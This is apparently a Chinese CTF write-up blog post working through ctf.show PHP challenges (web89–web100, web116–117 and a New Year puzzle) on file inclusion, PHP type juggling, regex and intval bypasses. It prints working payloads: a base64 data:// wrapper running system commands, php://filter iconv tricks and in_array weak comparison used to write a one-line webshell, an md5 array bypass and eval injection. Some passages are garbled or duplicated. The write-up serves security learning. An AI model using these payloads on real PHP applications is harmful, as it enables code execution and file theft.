使用data://text/plain;base64,xxxxx

但是要注意过滤了 +,=

可以加填充符号

aaaa
PD9waHAgc3lzdGVtKCdscycpICAgICAgICAgICAgPz5hYWFh

如果不加aaa则必然出现+

尝试之后

a
PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTthPz5h

成功回显

web116

打开以后是一个视频播放页面,提示是LFI,尝试直接本地文件包含:

http://69af3458-d457-412c-80a8-6fff13402aba.challenge.ctf.show/?file=/var/www/html/index.php

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 24 Dec 2022 12:11:57 GMT
Content-Type: video/mp4
Connection: close
X-Powered-By: PHP/7.3.22
Content-Length: 353

<?php
error_reporting(0);
//过滤
function filter($x){
    if(preg_match('/http|https|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=isset($_GET['file'])?$_GET['file']:"5.mp4";
filter($file);//进入函数
header('Content-Type: video/mp4');
header("Content-Length: $file");
readfile($file);//执行file
?>

过滤了

/http|https|data|input|rot13|base64|string|log|sess/i

data不行

input不行

直接跑

/?file=flag.php
GET /?file=flag.php HTTP/1.1
Host: 69af3458-d457-412c-80a8-6fff13402aba.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 24 Dec 2022 12:24:15 GMT
Content-Type: video/mp4
Connection: close
X-Powered-By: PHP/7.3.22
Content-Length: 63

<?php
$flag="ctfshow{e240069e-561b-468d-95e4-9d4e703cea53}";
?>

web117



/*
# -*- coding: utf-8 -*-
# @Author: yu22x
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-01 18:16:59

*/
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "".$contents); 

和之前有几道题一样的思路,使用过滤器写入一句话木马,这样在写入后进行过滤器指定的编码(解码)的过程中会把die()函数破坏掉,进而执行我们写入的木马。
convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用
iconv ( string $in_charset , string $out_charset , string $str ):将字符串$str从$in_charset编码转换到$out_charset
这里引入usc-2的概念,作用是对目标字符串每两位进行一反转,值得注意的是,因为是两位所以字符串需要保持在偶数位上

$result = iconv("UCS-2LE","UCS-2BE", '');
echo "经过一次反转:".$result."\n";
echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);

//输出结果如下:
//经过一次反转:??
//经过第二次反转:
/?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=??

php特性

web89

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 15:38:51
# @email: [email protected]
# @link: https://ctfer.com

*/


include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
} 

get方法传入num,要绕过正则表达式的检验,然后intval方法为true

intavl

intval() 函数用于获取变量的整数值。

intval(mixed $value, int $base = 10): int

intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

参数 ¶

  • value

    要转换成 integer 的数量值

  • base

    转化所使用的进制注意:如果 base 是 0,通过检测 value 的格式来决定使用的进制:如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,如果字符串以 “0” 开始,使用 8 进制(octal);否则,将使用 10 进制 (decimal)。

返回值 ¶

成功时返回 value 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1本题目的关键)。

最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。举例,在这样的系统上,intval('1000000000000') 会返回 2147483647。64 位系统上,最大带符号的 integer 值是 9223372036854775807。

字符串有可能返回 0,虽然取决于字符串最左侧的字符。 使用 整型转换 的共同规则。


echo intval(42);                      // 42
echo intval(4.2);                     // 4
echo intval('42');                    // 42
echo intval('+42');                   // 42
echo intval('-42');                   // -42
echo intval(042);                     // 34
echo intval('042');                   // 42
echo intval(1e10);                    // 1410065408
echo intval('1e10');                  // 1
echo intval(0x1A);                    // 26
echo intval(42000000);                // 42000000
echo intval(420000000000000000000);   // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8);                   // 42
echo intval('42', 8);                 // 34
echo intval(array());                 // 0
echo intval(array('foo', 'bar'));     // 1
?>

如题目,php的if语句中,只要条件大于0即可执行语句,这里通过数组绕过

http://7fcced56-de37-4290-b8e1-f24bad12efec.challenge.ctf.show/?num[]= array(‘a’)
拓展:php数组

Array 数组 ¶

PHP 中的 array 实际上是一个有序映射。映射是一种把 values 关联到 keys 的类型。此类型针对多种不同用途进行了优化; 它可以被视为数组、列表(向量)、哈希表(映射的实现)、字典、集合、堆栈、队列等等。 由于 array 的值可以是其它 array 所以树形结构和多维 array 也是允许的。

注意:

​ 可以用短数组语法 [] 替代 array()


$array = array(
    "foo" => "bar",
    "bar" => "foo",
);

// 使用短数组语法
$array = [
    "foo" => "bar",
    "bar" => "foo",
];
?>

​ key 可以是 integer 或者 string。value 可以是任意类型。

​ 此外 key 会有如下的强制转换:

  • String 中包含有效的十进制 int,除非数字前面有一个 + 号,否则将被转换为 int 类型。例如键名 "8" 实际会被储存为8。另外, "08"不会被强制转换,因为它不是一个有效的十进制整数。
  • Float 也会被转换为 int ,意味着其小数部分会被舍去。例如键名8.7 实际会被储存为 8
  • Bool 也会被转换成 int。即键名true 实际会被储存为 1而键名 false 会被储存为 0
  • Null 会被转换为空字符串,即键名null 实际会被储存为 ""
  • Array 和 object 不能被用为键名。坚持这么做会导致警告:Illegal offset type

​ 如果在数组定义时多个元素都使用相同键名,那么只有最后一个会被使用,其它的元素都会被覆盖。

示例 #2 类型转换与覆盖的示例

 <?php$array = array(    
 1    => "a",    
 "1"  => "b",    
 1.5  => "c",    
 true => "d",
 );
 var_dump($array);?> 

以上例程会输出:

array(1) {
  [1]=>
  string(1) "d"
}

​ 上例中所有的键名都被强制转换为 1,则每一个新单元都会覆盖前一个的值,最后剩下的只有一个 "d"

​ PHP 数组可以同时含有 int 和 string 类型的键名,因为PHP 实际并不区分索引数组和关联数组。

https://www.php.net/manual/zh/language.types.array.php

web90



/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:06:11
# @email: [email protected]
# @link: https://ctfer.com

*/


include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){//严格比较相等
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
        //进入这一步骤
    }else{
        echo intval($num,0);
    }
} 

这个题目要利用intval的进制转换,4476转化为0x117c

/?num=0x117c

即可绕过

web91



/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:16:09
# @link: https://ctfer.com

*/

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        //进入
        echo $flag;
    }
}
else{
    echo 'nonononono';
} 

这题一看要进行绕过正则表达式

字符 ^ 和 $ 同时使用时,表示精确匹配,需要匹配到以php开头和以php结尾的字符串才会返回true,否则返回false

/m 多行匹配模式下,若存在换行\n并且有开始^或结束$符的情况下,将以换行为分隔符,逐行进行匹配。因此当我们传入以下payload时,第一个if会返回true。

但是当不是多行匹配模式的时候,出现换行符 %0a的时,$cmd的值会被当做两行处理。而此时第二个if正则匹配不进行多行匹配,所以当我们传入以下payload时,不符合以php开头和以php结尾会返回false。

payload如下:

?cmd=aaa%0aphp

web92

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:29:30
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 

和web90类似,但是不一样,这里的==而不是===
由于PHP比较运算符 == 在进行比较的时候,会先将字符串类型转化成相同,再比较值是否相等,所以当我们输入如下payload时, n u m = = 4476 的比较结果由于字符串类型相同,但是值不一样,所以返回 f a l s e ,而 i n t v a l ( num==4476的比较结果由于字符串类型相同,但是值不一样,所以返回false,而intval( num==4476的比较结果由于字符串类型相同,但是值不一样,所以返回false,而intval(num,0)==4476的比较结果,由于base为0,会自动识别为16进制,比较的结果为true,从而获得flag。

判断值相等而不是类型相等

?num=0x117c

但是解法一致

web93

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:32:58
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 

这里多加了正则表达式的过滤,要绕过

这里的/[a-z]/i表示匹配集合的任意a-z的字符,且大小写不敏感

不能直接使用上题目的解法了

转换为8进制试试

/?num=010574

成功绕过,因为没有a-z的字母

其他解法(来自互联网)

我们还可以使用小数来绕过,例如4476.1 我们显然可以绕过第一个比较,又由于intval函数是取整数所以可以绕过第二个比较从而获得flag。

web94

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:46:19
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
} 

这里又多加了strpos函数

strpos

(PHP 4, PHP 5, PHP 7, PHP 8)

strpos — 查找字符串首次出现的位置

说明1

strpos(string $haystack, string $needle, int $offset = 0): int|false

返回 needlehaystack 中首次出现的数字位置。

参数2

  • haystack

    ​ 在该字符串中进行查找。

  • needle

    ​ Prior to PHP 8.0.0, if needle is not a string, it is converted to an integer and applied as the ordinal value of a character. This behavior is deprecated as of PHP 7.3.0, and relying on it is highly discouraged. Depending on the intended behavior, the needle should either be explicitly cast to string, or an explicit call to chr() should be performed.

  • offset

    ​ 如果提供了此参数,搜索会从字符串该字符数的起始位置开始统计。如果是负数,搜索会从字符串结尾指定字符数开始。

返回值 ¶

返回 needle 存在于 haystack 字符串起始的位置(独立于 offset)。同时注意字符串位置是从0开始,而不是从1开始的。

如果没找到 needle,将返回 false

这里传入的值必须包含0,不然会失败

使用小数试试

/?num=4476.1

不行,因为

改进

/?num=4476.10

成功

web95

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:53:59
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
} 

与上题目相比,加了小数点.的过滤

这里使用八进制绕过前面要加入+

?num=+010574

http://c224b0f7-0baf-41f8-b7bc-f5dc89da7ee8.challenge.ctf.show/?num=+010574

web96



/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 19:21:24
# @link: https://ctfer.com

*/


highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }


} 

http://4dc47996-03b1-450e-93a9-3344c00000fd.challenge.ctf.show/?u=./flag.php

./flag.php

不知道为啥不能用*等通配符

web97



/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 19:36:32
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?> 

有点复杂

也就是满足上述的所有条件

  • 存在a和b的post请求
  • a的值不等于b的值
  • 两者的md5值相等

一眼md5绕过

PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以“0E”开头的,那么PHP将会认为他们相同,都是0。

但是不行

a=QNKCDZO&b=240610708

想到了使用数组绕过

a[]=1&b[]=2

即可

web98

Notice: Undefined index: flag in /var/www/html/index.php on line 15

Notice: Undefined index: flag in /var/www/html/index.php on line 16

Notice: Undefined index: HTTP_FLAG in /var/www/html/index.php on line 17
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 21:39:27
# @link: https://ctfer.com

*/

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';//接下来两句好像没啥用,不过为了保险,还是直接还是把flag=xx
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

参考文献

https://www.php.cn/php-notebook-172859.html

一眼一看啥玩意格式。

直接看题解

修改一下代码


include('flag.php');
if($_GET){
$_GET=&$_POST;//只要有输入的get参数就将get方法改变为post方法(修改了get方法的地)
}else{
"flag";
} i
f($_GET['flag']=='flag'){
$_GET=&$_COOKIE;
}else{
'flag';

所以我们只需要 GET一个?HTTP_FLAG=flag 加 POST一个HTTP_FLAG=flag 中间的代码没有作用,因为我们不提交 flag 参数

&的话你可以理解成C里面的指针,指向地址,那么就很简单,简单的来说就是$_GET=&$_POST就相当于$_GET指向了$_POST的地址,如果$_GET改变了$_POST也要跟着变,同理,$_POST变了$_GET也会跟着变,所以他们两个的值是相等的

web99



/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 22:36:12
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
$allow = array();// 创建数组
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));// array_push() 函数向数组尾部插入一个或多个元素。
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);// file_put_contents() 函数把一个字符串写入文件中。
}

?> 
int file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] )
参数 描述
filename 必需。规定要写入数据的文件。如果文件不存在,则创建一个新文件。
data 必需。规定要写入文件的数据。可以是字符串、数组或数据流。
flags 可选。规定如何打开/写入文件。可能的值: FILE_USE_INCLUDE_PATH FILE_APPEND LOCK_EX
context 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。

rand(1,$i)——随机生成1-877之间的数

//in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1

//写入1.php文件 内容是

综上,我们可以发现数组中的值是int,而在弱类型中当php字符串和int比较时,字符串会被转换成int,所以 字符串中数字后面的字符串会被忽略。题目中的in_array没有设置type,我们可以输入字符串5.php(此处数字随意,只要在rand(1,0x36d)之间即可),转换之后也就是5,明显是在题目中生成的数组中的,满足条件,同时进入下一步后,我们就可将一句话木马写入了5.php中,然后蚁剑连接即可查看到flag

web100

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-21 22:10:28
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}


?>

Notice: Undefined index: v1 in /var/www/html/index.php on line 17

Notice: Undefined index: v2 in /var/www/html/index.php on line 18

Notice: Undefined index: v3 in /var/www/html/index.php on line 19

三层过滤

先验证v1,v2,v3的是否为数字,然后正则表达式过滤

PHP is_numeric() 函数

如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,注意浮点型返回 1,即 TRUE。

关键看这一句

&& > || > = > and > or

&&  ||  =   and   or
//从左往右,从高到低

=的运算符比and高 就是把is_numeric($v1)的返回值赋值给$v0,然后和后面的进行逻辑运算,并不会修改$v0的值.

对于v0的值只需要看v1就可以v2,v3是干扰

v2必须不匹配; 也就是没有必须有;

v3必须匹配; 也就是必须有;

http://38e06652-f343-4782-b325-dba28c92498c.challenge.ctf.show/?v1=1&v2=var_dump&v3=;

回显

string(7) "ctfshow" 

要把ctfshow

http://38e06652-f343-4782-b325-dba28c92498c.challenge.ctf.show/?v1=222&v2=var_dump($ctfshow)&v3=;

object(ctfshow)#1 (3) { ["dalaoA"]=> NULL ["dalaoB"]=> NULL ["flag_is_746e30ce0x2dbbbf0x2d427c0x2d9dc90x2da6f6caf69f84"]=> NULL }
Fatal error: Uncaught Error: Function name must be a string in /var/www/html/index.php(24) : eval()'d code:1 Stack trace: #0 /var/www/html/index.php(24): eval() #1 {main} thrown in /var/www/html/index.php(24) : eval()'d code on line 1

专题

年——CTF

除夕

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-01-18 11:36:09
# @Last Modified by:   h1xa
# @Last Modified time: 2023-01-19 10:18:44
# @email: [email protected]
# @link: https://ctfer.com

*/

include "flag.php";

$year = $_GET['year'];

if($year==2022 && $year+1!==2023){
    echo $flag;
}else{
    highlight_file(__FILE__);
} 

2022.0绕过

你可能感兴趣的:(网络安全,php,web安全)